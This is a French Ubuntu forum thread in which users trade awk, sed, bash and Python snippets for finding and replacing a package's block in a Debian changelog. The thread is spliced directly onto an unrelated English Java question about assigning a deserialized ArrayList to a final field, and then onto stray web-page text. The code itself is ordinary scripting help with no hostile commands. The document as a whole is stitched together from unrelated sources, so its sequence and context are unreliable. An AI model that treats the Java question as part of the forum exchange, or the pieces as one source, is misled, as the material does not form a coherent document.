awk '/'$nom_paquet'/{getline;RS="\n\n";FS="\n";getline;{ for(i=1; i < NF; i++) {printf substr($i,5)"@@"} printf substr($NF,5)"\n" }exit}' fichier
Dernière modification par pingouinux (Le 12/10/2012, à 09:01)
Hors ligne
pingouinux
Re : encore du sed et awk
J'ai complété ma réponse au moment où tu répondais.
Hors ligne
Hizoka
Re : encore du sed et awk
une derniere question,
un awk qui me permettrait de changer le texte commencant par des etoiles avec un autres texte ?
awk -v OCC=1 -v var="${cacavar}" 'BEGIN{ OLDRS=RS;RS="\n\n\n" } NR==OCC {printf("%s\n\n\n",var);RS=OLDRS} NR!=OCC' "${changelog}" > "${changelog}-new"
Hors ligne
pingouinux
Re : encore du sed et awk
Bonjour,
un awk qui me permettrait de changer le texte commencant par des etoiles avec un autres texte
S'agit-il de ce texte ?
Récupérer le texte commençant par des étoiles du 1er bloc de nom_paquet
Si oui :
nom_paquet=mkv-extractor-gui
mon_texte='Ligne n°1 de mon texte
Ligne n°2 de mon texte
Ligne n°3 de mon texte'
awk -v mon_texte="$mon_texte" '{if(/^'"$nom_paquet"' /&&!deja){print;getline;print;ORS_=ORS;RS_=RS;ORS=RS="\n\n";getline;print mon_texte;deja=1;ORS=ORS_;RS=RS_}else{print}}' fichier
Hors ligne
Hizoka
Re : encore du sed et awk
arf !
il me faut encore modifier le code
Il me faut donc toujours rechercher un bloc a partir d'un nom, mais le rempacement ne doit pas se limiter au texte etoilé mais à tout le bloc.
Donc, si je cherche mkv-extractor-gui :
mkv-extractor-gui (4.8.0~ppa1~lucid) lucid; urgency=low ()
* Ajout des dépendances python-webkit imagemagick mclean mkvalidator
* Suppression du systray qui en prévision du passage a gtk3
* Mise à jour de glade2script
* Mise à jour du système de préférence
* Remise en place du service menu ou du script nautilus
* Et d'autres choses...
-- Belleguic Terence <hizo@free.fr> Tue, 24 Jul 2012 00:35:07 +0200
Désolé et merci
Hors ligne
pingouinux
Re : encore du sed et awk
Bonsoir,
Une solution en python :
$ cat remplacement.py
#! /usr/bin/python
# -*- coding: utf-8 -*-
import sys, re
mon_paquet='mkv-extractor-gui'
mon_texte='''Ligne n°1 de mon texte
Ligne n°2 de mon texte
Ligne n°3 de mon texte'''
with open(sys.argv[1],'r') as f : txt=f.read()
sys.stdout.write( re.sub('(?m)^%s.*\n\n( \*.*\n)+\n --.*$'%mon_paquet,mon_texte,txt,count=1) )
Utilisation :
./remplacement.py fichier
Hors ligne
pingouinux
Re : encore du sed et awk
$ cat remplacement.py
#! /usr/bin/python
# -*- coding: utf-8 -*-
import sys, re
with open(sys.argv[1],'r') as f : txt=f.read()
mon_paquet=sys.argv[2]
mon_texte=sys.argv[3]
sys.stdout.write( re.sub('(?m)^%s.*\n\n( \*.*\n)+\n --.*$'%mon_paquet,mon_texte,txt,count=1) )
Utilisation :
./remplacement.py fichier mkv-extractor-gui 'Ligne n°1 de mon texte
Ligne n°2 de mon texte
Ligne n°3 de mon texte'
Hors ligne
Hizoka
Re : encore du sed et awk
Bon j'ai fait autrement car ca me derangait d'obliger d'utiliser python (et donc son installation) pour un logiciel tout en bash...
voila ma solution :
nom_paquet="mkv-extractor-gui"
tout=$(< "${changelog}")
tout_jusqua_mkv="${tout%%${nom_paquet}*}"
tout_apres_mkv="${nom_paquet} ${tout#*${nom_paquet} }"
tout_apres_mkv="${tout_apres_mkv#*$'\n\n\n'}"
echo "${tout_jusqua_mkv}mkv-extractor-gui blabla
* blbabla
* ...
${tout_apres_mkv}
" > "${changelog}"
pas forcement tres rapide ou des plus simple, mais ca devrait marcher en se passant de python.
En tout cas, pingouinux, je te remercie ENORMEMENT pour le temps passé à me lire et à essayer de m'aider !!!
Vraiment merci !
Hors ligne
nesthib
Re : encore du sed et awk
J'arrive un peu après la bataille mais voici quelques suggestions en awk (parce que awk c'est fun) :
Afficher le numéro de version de la première ligne contenant mkv-extractor-gui :
awk '/^mkv-extractor-gui/{print gensub(/[^ ]* \(([0-9.]+).*/,"\\1", "g") ; exit}' changelog
Récupérer le numéro de version dans la première ligne commençant par mkv-extractor-gui si disponible, sinon dans la première ligne commençant par poupou :
awk '/^mkv-extractor-gui/{if (! v1) {v1=gensub(/[^ ]* \(([0-9.]+).*/,"\\1", "g")}};/^poupou/{if (! v2) {v2=gensub(/[^ ]* \(([^~]+).*/,"\\1", "g")}} END {print (v1?"version1 : "v1:(v2?"version2 : "v2:"Erreur, aucun numéro de version trouvé"))}' changelog
Récupérer le premier bloc commençant par mkv-extractor-gui :
awk '/^mkv-extractor-gui/{start++}; {if (start) {if (newline==2) {exit} ; if (!$0) {newline++} else {newline=0} ; print}}' changelog
ici j'affiche le bloc au fur et à mesure, mais il va de soi que tu peux stocker les lignes dans un tableau et même les modifier. Avec mon exemple tu as 2 lignes vides à la fin mais si tu affiches le contenu de ton tableau dans le bloc « END {…} » tu peux facilement les supprimer.
Pour récupérer un bloc différent (ex. le second) il te suffit de changer le (start) en (start==2).
Pour remplacer les sauts de ligne par « @@ » il suffit également d'ajouter « BEGIN{ORS="@@"} » au début de la commande awk.
Une méthode plus compacte si tu désires juste faire de l'affichage :
awk 'BEGIN{RS="\n\n\n+"} /^mkv-extractor-gui/{print;exit}' changelog
Maintenant si tu veux remplacer spécifiquement ce bloc tout en gardant le reste :
NOUVEAU_BLOC='nouveau bloc\n\n * au milieu\n\n'
awk '/^mkv-extractor-gui/{start++}; {if (start && newline<2) {if (!$0) {newline++} else {newline=0} ; if (newline==2) {print "'"${NOUVEAU_BLOC}"'"; newline++}} else {print}}' changelog
une variante plus courte :
NOUVEAU_BLOC='nouveau bloc\n\n * au milieu'
awk 'BEGIN{RS="\n\n\n+";ORS="\n\n\n"} /^mkv-extractor-gui/{$0=(a++?$0:"'"${NOUVEAU_BLOC}"'")};1' changelog
Et si tu veux insérer ton nouveau bloc avant la première occurrence de ton bloc en mkv-extractor-gui (il y a plus simple si l'on se contentait de trouver ce mot clé, mais ici ça vérifie que ce qui suit est bien un bloc. Voir l'exemple suivant) :
NOUVEAU_BLOC='nouveau bloc\n\n * au milieu\n\n'
awk '/^mkv-extractor-gui/{start++}; {if (start && newline<2) {if (!$0) {newline++} else {newline=0} ; if (newline==2) {print "'"${NOUVEAU_BLOC}"'"; newline++ ; print bloc} ; bloc=bloc$0"\n"} else {print}}' changelog
Même chose sans vérifier que le bloc suit le format attendu :
NOUVEAU_BLOC='nouveau bloc\n\n * au milieu\n\n'
awk '/^mkv-extractor-gui/{start++;if (start==1) { print "'"${NOUVEAU_BLOC}"'"}}; {print}' changelog
une variante :
NOUVEAU_BLOC='nouveau bloc\n\n * au milieu\n\n'
awk 'BEGIN{RS="\n\n\n+";ORS="\n\n\n"} /^mkv-extractor-gui/{$0=(a++?"":"'"${NOUVEAU_BLOC}"'\n")$0};1' changelog
Comme quoi awk c'est vraiment génial non ?
NB. juste pour être plus sérieux je te signale aussi l'existence de la commande debchange (et de son option -a) qui permet d'éditer les fichiers de changelog
Hors ligne
Hizoka
Re : encore du sed et awk
merci beaucoup pour ces commandes
Je n'arrive vraiment pas à saisir awk, ca me semble tellement compliqué...
Oui j'ai testé debchange, mais le soucis c'est que si tu veux ajouter 25 lignes ca te prends 7sec alors qu'avec un awk ou des echos, ca va bcp plus vite et c'est bien dommage !
Hors ligne
|
I want to make my ArrayList with custom objects final so that the objects cannot be changed after they are set.
I tried to declare it like this:
private final ArrayList<Datapoint> XML = new ArrayList<Datapoint>();
I fill the ArrayList with this lines:
FileInputStream fileIn = new FileInputStream(f);
ObjectInputStream in = new ObjectInputStream(fileIn);
XML = (ArrayList<Datapoint>) in.readObject();
in.close();
fileIn.close();
and this for-loop to show the objects:
for(int i=0;i<XML.size();i++){
item = XML.get(i);
parsedData = parsedData + "----->\n";
parsedData = parsedData + "Name: " + item.getName() + "\n";
parsedData = parsedData + "stateBased: " + item.getStateBased() + "\n";
parsedData = parsedData + "mainNumber: " + item.getMainNumber() + "\n";
parsedData = parsedData + "dptID: "+ item.getDptID() + "\n";
parsedData = parsedData + "Groupadress: "+ item.getGroupadress() + "\n";
parsedData = parsedData + "priority: "+ item.getPriority() + "\n";
}
xmlOutput.setText(parsedData);
But Eclipse says The final field XMLDetailsActivity.XML cannot be assigned.
What is the problem?
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.